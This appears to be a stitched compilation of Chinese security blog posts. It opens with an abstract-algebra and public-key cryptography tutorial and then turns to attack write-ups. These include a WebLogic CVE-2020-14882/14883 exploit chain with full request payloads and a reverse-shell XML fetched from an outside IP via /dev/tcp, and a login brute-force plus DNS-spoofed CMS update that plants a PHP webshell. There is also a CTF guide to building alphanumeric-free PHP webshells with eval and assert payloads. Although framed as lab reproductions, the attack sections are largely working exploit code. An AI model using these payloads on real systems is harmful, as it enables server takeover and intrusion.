(2) 结合律:对任意的a,b,c $\epsilon$ G,恒有 (a$\bigodot$b)$\bigodot$c = a$\bigodot$(b$\bigodot$c)
(3) 有单位元:存在e $\epsilon$ G,对任意的a $\epsilon$ G,有 a$\bigodot$e=e$\bigodot$a=a
(4) 每个元存在逆元:对任意a $\epsilon$ G,存在b $\epsilon$ G,使得 a$\bigodot$b=b$\bigodot$a=e,称 b 为 a 的逆元。
其中运算 $\bigodot$ 可以是通常的乘法或者是加法。若 $\bigodot$ 为乘法,则称G为乘法群,单位元记为1.若$\bigodot$为加法,则称G为加法群,单位元记为0。一般情况下,记:$ \underbrace{a \bigodot a \bigodot \cdots \bigodot a }_{k个}=a^k$**群 G 所含元素的个数,称为该群的阶。若群G含有有限个元素,则称G为有限群,否则,为无限群。若对群G中任何a,b $\epsilon$ G,有 a $\bigodot$ b = b $\bigodot$ a,则称G为交换群或Abel群。
循环群:
定义:
设($G,\cdot)$是一个群如果群 $G$ 中存在一个元素 $\alpha$,使得对群 $G$ 任意元素 $b$ 都存在一个整数 $i$ ,使得 $b=\alpha^i$,则我们称 $G$ 是一个循环群。元素 $\alpha$ 是 $G$ 的一个生成元
加法循环群:
---例:$(Z_6,\oplus)$是循环群,其中$Z_6=${0,1,2,3,4,5} ,$\oplus$ 为模6加法,其生成元为 1 或 5。生成元的含义可以理解为:1或5的加法,可以实现群 $Z_6$ 内所有的元素,如:5+5+.....+5 mod 6 = 5,35 mod 6 = 5
10 mod 6 = 4,40 mod 6 = 4,
15 mod 6 = 3,45 mod 6 = 3
20 mod 6 = 2,50 mod 6 = 2
25 mod 6 = 1,55 mod 6= 1
30 mod 6 = 0,60 mod 6= 0
所以通过 生成元 5 的模6的加法,可以得到群内的所有元素,实现循环群。而 2,3,4不能作为生成元,是因为这些元素的模6加法并不能得到群内所有的元素,且并不是连续循环的数。
乘法循环群也是同样的道理。
有限循环群的生成元还具有以下性质:
(元素的阶):循环群$(G,\cdot)$,$\alpha$ 为 $G$ 的一个生成元,1为 $G$ 的单位元,$G$ 的阶为 $n$ ,则:$\alpha^n=1$
环:
定义:
若集合R上定义了两种二元运算:+(加法)及 x(乘法),且满足下列4个条件,则称R对这两种运算构成了一个环,记为 (R,$+$,$\times$):(1) (R,$+$)是一个Abel群,其恒等元为零元,用0表示。
(2) 对任何a,b,c $\epsilon$ R,有$a\times (b \times c)=(a \times b) \times c$
(3)如果一个环(R,$+$,$\times$)还满足条件:对任意的a,b$\epsilon$ R,有$a\times b =b\times a$,则称环(R,$+$,$\times$)为交换环。
域:
定义:
设$F$是一个交换环,若$F$中的所有的非零元素对乘法都存在逆元,则称$F$为一个域。如果一个域所包含的元素是有限的则称此域是有限域,否则称为无限域。**有限域中所含元素的个数称为有限域(R,$+$,$\times$)的阶。**
有限域:
定义1:
有限域又常称为Galois域,并以GF(q)或$F_q$表示,其中q表示有限域的阶。
定义2:
设$F_1$、$F_2$是两个域,称$F_1$ 到 $F_2$ 的一个可逆映射 $\sigma$ 为一个同构(映射),如果 $\sigma$ 是保持运算的映射,即对任意的$a,b cF_1$,有:$\sigma(a+b)=\sigma(a)+\sigma(b)$,$\sigma(a \cdot b)=\sigma(a) \cdot \sigma(b)$
定理3:
设$F$是有限域,则有:
(1) 在同构的意义下,阶与$F$相同的有限域只有一个。同阶的有限域必同构。
(2)有限域 $F$的阶必为某个素数的幂.
(3) 设$F$的阶为 $q=p^n$,p是一个素数,则$F$的任何一个子域的阶为$p^m$,其中m是n的因子。
(4) 记$F_q^*$为有限域$F_q$的所有非零元构成的集合,则$F_q^*$关于乘法做成一个阶为 $q-1$ 的循环群。因此,对所有的 $a\epsilon F_q$,有 $a^q=a$ 。这个群称为$F_q$的乘法群,乘法群 $F_q^*$ 的生成元称为 $F_q$ 的本原元,共有 $\phi(q-1)$ 个本原元。
(5) 设$F_q$(其中$q=p^n$)是一个有限域,则对任何 $a,b\epsilon F_q$及非负整数 $k\geqslant 0$,有:$(a+b)^{p^k}=a^{p^k}+b^{p^k}$
多项式环:
定义:
设$F$是一个域,多项式$f(x)=a_nx^n+\cdot\cdot\cdot+a_1x+a_0$,其中$a_i\epsilon F$,$n\epsilon N$。
若$a_n \neq 0$,称n为该多项式的**次数**,称$a_n$为首项系数。
对于域 $F$ 上 $x$ 的多项式的全体组成的集合记为 $F[x]$ 。 多项式 $a(x)$ 的次数记为 $deg(a(x))$
设存在多项式 $f(x)与g(x)$,满足:
1.加法运算: $f(x)+g(x) \epsilon F[x]$
2.乘法运算: $f(x)\cdot g(x) \epsilon F[x]$ 容易验证 $F[x]$ 对这样定义的多项式加法与乘法构成一个交换环,称为多项式交换环。
不可约多项式:
设 $f(x)$ 是 $F[x]$ 上的一个次数大于零的多项式,如果它不能分解成两个低次数的多项式的乘积,则称 $f(x)$ 是 $F$ 上的不可约多项式。
设 $p(x)$ 是 $F[x]$ 中的 $n$ 次不可约多项式,令 $F[x]_{p(x)}$ 为 $F[x]$ 中所有次数小于 $n$ 的多项式的集合。
定义 $F[x]_{p(x)}$上的二元运算 $\oplus$ 和 $\otimes$ 如下:任取 $a(x),b(x)\epsilon F[x]_{p(x)}$,
$a(x)\oplus b(x)= (a(x)+b(x)) mod$ $p(x)$
$a(x)\otimes b(x)= (a(x)\cdot b(x)) mod$ $p(x)$
加密算法
ElGamal算法Menezes-Vanstone椭圆曲线密码体制Diffie-Hellman算法椭圆曲线上的Diffie-Hellman算法椭圆曲线加密ECC```
$Z_p$上的离散对数问题:
$Z_p$上的离散对数问题是指对于循环群 $Z_p$ (p是一个素数),$\alpha \epsilon Z_p$是群 $Z_p$ 的生成元,对于任意的 $c\epsilon Z_p$,寻找唯一 的整数 $d(0\leqslant d\leqslant p-1)$满足: $C\equiv a^d (modp)$ 我们把整数 $d$ 记为 $log_{\alpha}c$,并称之为离散对数。
ElGamal算法:
背景:ElGamal是建立在解有限乘法群上的离散对数问题的困难性基础上的一种公钥密码体制。
算法描述:
(1) 公开参数:取大素数 $p$ ,并取 $\alpha$ 是乘法群 $Z_p^*=$ { $1,\cdot\cdot\cdot,p-1$} 的一个生成元。
(2) 密钥生成:随机选取整数 $d$:$0 < d < (p-1)$并计算 $\beta =\alpha^d$ $mod$ $p$。
公开参数:$p 和 \alpha$
公钥:$\beta$
私钥:$d$(3) 加密运算:对于明文 $m$ ,选取随机整数 $k$ :$0 < k < (p-1)$,计算:
$c_1=\alpha^k$ $mod$ $p$,
$c_2=m\beta^k$ $mod$ $p$
得到密文 $c=(c_1,c_2)$(4) 解密运算:对于密文 $c=(c_1,c_2)$ ,用私钥 $d$ 解密。$m=c_2(c_1^d)^{-1}$ $mod$ $p$
计算离散对数的算法:
1. Shanks算法
2. 小步大步发(baby-step 、giant-step)算法
3. Pohlig-Hellman算法
4. 指数演算法(index-calculus)
Menezes-Vanstone椭圆曲线密码体制
背景:Menezes-Vanstone椭圆曲线密码体制是ElGamal密码体制在椭圆曲线上的模拟。
算法描述:
(1) 公开参数:设 $p>3$是一个素数, E是有限域 $F_p$ 上的由方程 $y^2=x^3+ax+b$表示的椭圆曲线,$E(F_p)$是相应的 Abel 群。G是 $E(F_p)$ 中具有较大素数阶 $n$ 的一个点。
(2) 生成密钥:随机选取整数 $d$ : $2\leqslant n\leqslant n-1$,计算 $P=dG$。
$d$是私钥
$P$是公钥
(3) 加密运算:对任意明文 $m=(m_1,m_2)$,随机选取一个整数 $k$:$1\leqslant k\leqslant n-1$,使得$(x,y)=kP$,满足 $x$ 与 $y$ 均为非零元素。并计算:$C_0=kG$
$c_1=m_1x$ $mod$ $p$
$c_2=m_2y$ $mod$ $p$
得到密文为 $(C_0,c_1,c_2)$(4) 解密运算:1. 计算 $dC_0=(x,y)$2. 计算 $m_1=c_1x^{-1}$ $mod$ $p$3. 计算 $m_2=c_2y^{-1}$ $mod$ $p$即得明文为 $(m_1,m_2)$
Diffie-Hellman算法:
背景:Diffie-Hellman算法由Whitfield Diffie 和 Martin Hellman 提出,该算法的安全性也是基于一般有限域上的离散对数问题的难解性。
算法描述:
(1) 假设Alice和Bob之间要建立一个共享密钥。Alice和Bob首先选定一个大素数 $p$ ,并选 $g$ 为乘法群 $F_p^*$ 中的一个生成元。
(2) Alice选取一个私钥 a(整数):$1\leqslant a\leqslant p-2$,计算 $A=g^a$ $mod$ $p$。发送A给Bob。
(3) Bob选取一个私钥 b(整数):$1\leqslant b\leqslant p-2$,计算 $B=g^b$ $mod$ $p$。发送B给Alice。
(4) Alice 计算 $k=B^a$ $mod$ $p$
(5) Bob 计算 $k=A^b$ $mod$ $p$因为 $B^a=(g^b)^a=g^{ab}=(g^a)^b=A^b$ $mod$ $p$,Alice与Bob计算得到的 $k$ 是相同的。这样的 $k$ 可以作为通信的共享密钥由于 $a$ 与 $b$ 是保密的,所以即使攻击者知道了 $p、g、A、B$,也很难获得 Alice 与 Bob 的共享密钥 $k$。因为攻击者要想获得 $k$ ,则需要先解决离散对数问题 $A=g^x$ $mod$ $p$ 或 $B=g^x$ $mod$ $p$ ,而这是困难的。
椭圆曲线上的Diffie-Hellman算法:
(1) Alice和Bob之间要建立一个共享密钥。选取公共参数:取 $q>3$ 是某个素数幂,$E是F_q$上的椭圆曲线,$E(F_q)$ 是相应的 Abel 群,G 是 $E(F_q)$ 中的一个具有较大素数阶 $n$ 的点。
(2) Alice选取一个私钥 a(整数):$1\leqslant a\leqslant n-2$,计算 $A=aG$ 。发送A给Bob。
(3) Bob选取一个私钥 b(整数):$1\leqslant b\leqslant n-2$,计算 $B=bG$ 。发送B给Alice。
(4) Alice 计算 $K=aB$
(5) Bob 计算 $K=bA$ 显然 Alice 与 Bob 计算得到的 $K$ 是相同的:
$aB=a(bG)=(ab)G=b(aG)=bA$K$ 即为 Alice 与 Bob 之间的共享密钥。椭圆曲线上的Diffie-Hellman密钥交换算法的安全性基于椭圆曲线上离散对数问题的难解性。
椭圆曲线密码体制
1.有限域 $F_p$ 上 $ECC$ 的加法运算规则:
设 $p>3$ 是一个素数,那么有限域 $F_p$ 上的椭圆曲线 $E$ 可以表示成方程:$y^2=x^3+ax+b(mod p)$- 椭圆曲线$E_p(a,b)$,$p$为素数,$x,y \epsilon[0,p-1]$,$y^2=x^3+ax+b$ ($mod$ $p$)这里 $a,b \epsilon F_q$,满足: $4a^3+27b^2 \neq 0 mod p$
集合 $E(F_p)$ 中的加法运算定义为:对任何 $P=(x_1,y_1) \epsilon E(F_p)$,$Q=(x_2,y_2) \epsilon E(F_p)$1. $P+O=P$ ($O$为无穷远点)2.$P+Q=\begin{cases}O,&如果x_1=x_2,y_1=-y_2\\ \\(x_3,y_3),&否则\end{cases}$其中:$\begin{cases}x_3=\lambda^2-x_1-x_2\\y_3=\lambda(x_1-x_3)-y_1\end{cases}$
$\lambda =\begin{cases}\frac{y_2-y_1}{x_2-x_1},&如果 P\neq Q\\\\ \frac{3x_1^2+a}{2y_1},&如果P=Q \\ \end{cases}$如果 $P+Q=O$,则记 $Q=-P$ ,并称 $-P$ 为 $P$ 的负元。一般地,我们将 $\underbrace{P+P+\cdot\cdot\cdot+P}_{n次}$ 记为 $np$ ,即 $np=$ $\underbrace{P+P+\cdot\cdot\cdot+P}_{n次}$,同时,定义:$nP=O$(零元)
有限域模p
一个有限域是整数模 $p$ 的集合(integers mod p,p为素数),可表示为 $z/p$, $GF(p)$,或者 $F_p$,一般用 $F_p$。
椭圆曲线的阶
定义:一个群有多少个点叫做这个群的 “阶” (order)
2.ECC加密算法描述:
点G称为基点(base point)- $k$为私钥- $K$为公钥其中$K=kG$, $K、G$ 为椭圆曲线 $E_p(a,b)$ 上的点,**$n$ 为 $G$ 的阶** $(nG=O无穷大)$,$k$为小于$n$的整数。对于给定的$k$和$G$,根据加法法则,计算$K$很容易。而基于离散对数的难解性,给定$K$和$G$,求$k$则非常困难。
1. 公开参数:Alice选取一条椭圆曲线$E_p(a,b)$,并选取椭圆曲线上的一点,作为基点G。
2. 生成公钥:Alice 选取一个**私钥** $k$ $(k < n)$,生成**公钥** $K=kG$。
3. Alice 将$E_p(a,b)$ 和点K,G传给用户 Bob
4. 加密运算:Bob 将 **明文** 编码到 $E_p(a,b)$ 上的一点 $M$ ,取一个随机数 $r(r < n)$。
5. Bob 计算点 $C_1=M+rK$ 和 $C_2=rG$
6. 用户Bob将 $C_1、C_2$ 传给用户 A 。
7. 解密运算: Alice计算:$M=C_1-kC_2$,将 M 解码就得到明文了。(这里:$C_1-kC_2=M+rK-k(rG)=M+rkG-rkG=M$)##
后记:
在学习ECC椭圆曲线加密等,基于离散对数难解性问题的加密算法前。我们需要先掌握好《近世代数》的知识点。因为常见的椭圆曲线加密都是在有限域内实现的,首先得知道啥是"有限域"。下一篇我会给大家演示在实战中的应用,所以基础先要打好。文中有错误的地方,欢迎读者留言指出。
CVE-2020-14882&14883weblogic未授权命令执行漏洞复现
简介
WebLogic 是美国 Oracle 公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的 J2EE 应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECIDfdd4-97c8-4e32-89b7-df58dd102e4c&: 通过本次实操,了解该漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。
概述
10 月 21 日,Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制,最终远程执行代码接管 WebLogic 服务器,利用难度极低,风险极大。
此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件,并且该漏洞通过 HTTP 协议进行利用。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
环境搭建
此处利用vulhub的环境进行复现,新建docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为7001
docker-compose up -d
漏洞复现
权限绕过漏洞(CVE-2020-14882)复现:
因为CVE-2020-14882未授权访问漏洞是绕过管理控制台权限访问后台,所以需要存在console控制台,打开浏览器访问:
从上一步结果发现是存在管理控制台的,在正常访问console后台时会让我们输入账号密码。通过未授权访问,则可以直接绕过验证登录后台,漏洞URL:/console/css/%252e%252e%252fconsole.portal未授权访问控制台页面:
正常输入账号密码登录控制台页面:
通过对比可以看到通过未授权访问的后台与正常登陆的后台差异,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过后台部署war包等方式直接获取权限。“%252E%252E%252F”为二次url编码的“../”,通过这个就可以实现穿越路径未授权访问相关管理后台。
后台任意命令执行漏洞(CVE-2020-14883)复现:
利用方式一
com.tangosol.coherence.mvel2.sh.ShellSession 但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。 在12.2.1.3版本执行"id"命令burpsuite
GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lan
Host: 192.168.74.141:7001
Pragma: no-cache
cmd: id
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Cookie: ADMINCONSOLESESSION=ufkDQ2w_WXPmMBVQWCpxVBrNdKxp4L58RhydPTssNxYAmgnYP-4Y!-326883263; ADMINCONSOLESESSION=lGPJf1JPnXR7pG1qZzw0xXmwGtMQcPpJ0GVJrg0pv0LGCS6LdH0g!1599365627
Connection: close 回显payload:
/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.re
在10.3.6版本执行会报错
利用方式二
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext这是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。 首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,这里是执行一个反弹shell的操作,如http://example.com/rce.xml:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>nc监听,然后执行一个get请求:
http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.9.198.30/rce.xml")在nc监听的端口得到反弹shell
经过测试,该方法在12.2.1.3以及10.3.6版本都可以执行
漏洞修复
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。
参考链接
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
https://github.com/jas502n/CVE-2020-14882
利用官网getshell
(此方法只适用于特定环境,勿喷,求评论)
0x01
呕吼,各位大表哥们,又是我,影子,上次说了一下arp内网欺骗,但是我是搞Web的啊,我搞这干嘛?(手动狗头)
今天来次实战求评论,求反响
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214通过该实操的练习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。
0x02
大表哥在局域网里面搞了个网站让我日。。
沃日™
大表哥还算好,把验证码给我关了,哈哈哈哈
0x03
进去先看一眼
大表哥把源码给我了,审一波
第一个入眼的就是admin
测试一波,大表哥吧验证码给关了,真好,哈哈哈哈
随手试几个
不知道你们有没有看清楚,大表哥第一张给我拍的照片没有打码,哈哈哈,里面有用户名,这算不算信息泄露呢,哈哈哈
第一张图片可以勉强看出来
用户名是admin
大表哥又把验证码关了,哈哈哈,这不就是让我爆破吗
祭出我的神器,burpsuite
密码明文传输
省了我很多事
掏出我的珍藏版字典
字典很棒哦第二个包就成功了
直接登录
后台在手,天下我有
咳咳
找到一个上传图片的地方、抓一下包,上个shell,完事,哈哈哈哈
再试一下解析漏洞
把20改成00
擦
Md
懒得审代码了,直接找度娘
漏洞POC
本地尝试复现
本地复现成功
Then
???
有什么用处?
曰,就一个本地包含,没公开的,md,我要苦逼的审代码?
那是必然不可能的,一切随缘法
0x04
事情来了转机
获取更新列表
直接从官网获得更新后的代码,并写入本地
直接上kali
Ssh连上之后
Dns欺骗一下
Etter.dns 添加俩条记录
这个cms团队的人为了安全考虑
并没有在发行版中添加这个函数
所以说我们现在dns欺骗之后,本地的网站并不会更新成功,所以
直接写一段代码,在网站更新的时候访问的那个网址,直接返回需要的数据
先随便下载个文件,看一下值
我们可以看到,我们执行的是getServerFile函数
直接修改
访问控制器
更新的根本就是直接获取数据,进行写入
$des 的值就是写入目录
我们在我们的start.php
添加一句话木马
并把
这段代码注释
再次访问getServerFile函数
获取写入一句话木马的值
写一段php代码
在访问这个网址的时候,直接返回这个值
Index.php:
再次进行目标网站的更新
更新的
/doc/ChangeLog.txt
修改为
/core/start.php
更新
更新成功
访问小马
咳咳
不说了
跑路了
浅析CTF绕过字符数字构造shell
前言
在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。
无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014050616024000001 :通过本实操的练习,你能够学会使用简单的Webshell,了解到使用base64与deflate对字符串进行编码,对编码后的webshell进行解码。
测试源码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
//如果shell中不还有字母和数字,则可以执行eval语句
异或绕过
异或的符号是^,是一种运算符。
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
异或脚本
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
运行该脚本我们知道
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
通过这种方法构造一个phpinfo()函数
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_
%B8^%FF=>G
%BA^%FF=>E
%AB^%FF=>T
<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET
取反绕过
取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。
直接看如何构造phpinfo()
(~%8F%97%8F%96%91%99%90)();
可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。
取反脚本
<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90
构造assert字符
第一种方法
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t
%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T
$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$__;
$_($___[_]);
第二种方法
脚本
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
$_ = "!((%)("^"@[[@[\\";
$__ = "!+/(("^"~{`{|";
$___ = $__;
$_($___[_]);
%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b
第三种方法
<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B
$b = urlencode(~'_POST');
//%A0%AF%B0%AC%AB
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$__;$_($___[_]);
PHP5和7的区别
PHP5中,assert()是一个函数,我们可以用_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。
PHP5
PHP 7.0.12
PHP7
PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
PHP 5
PHP 7
过滤了_
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
过滤了$
PHP7
在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。
PHP5
在PHP5中不再支持(a)()方法来调用函数,在膜拜P神的[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list)后,有了新的启发。如何在无字母,数字,的系统命令下getshell?我们利用在Linux shell下两个知识点
1,shell下可以利用.来执行任意脚本
2,Linux文件名支持glob通配符代替
从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。
在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。
那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?
首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
现在我们可以利用glob通配符匹配该文件,我们知道
*可以代替0个及以上任意文件
?可以代表1个任意字符
[^a]可以用来判断这个位置的字符是不是a
[0-9]可以用来限制范围
通过ascii码表我们知道,可见大写字母@与[之间,所以我们可以利用[@-[]来表示大写字母。
综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX
实战演练
<?php
if(isset($_GET['evil'])){
if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){
die("danger!!");
}
@eval($_GET['evil']);
}
highlight_file(__FILE__);
?>
通过编写脚本看看哪些可见字符没有被过滤
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {
echo (chr($ascii));
}
}
?>
可以发现过滤了字母,数字,`
{{title}}
,`_`,`()`等,但`和 . 还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 ` 来执行文件。
首先,我们应该上传写一个表单上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://ip:*****/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>
提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。
我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中
var/www/html是Apache的默认路径,我们也可以直接写ls />abc
接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。
直接cat flag
我们还可以上传一个小马文件get flag
例如我们创建一个hello.php的文件,文件内容为
echo "<?php eval(\$_POST['shell']);"
然后cat flag
Apache Dubbo反序列化漏洞
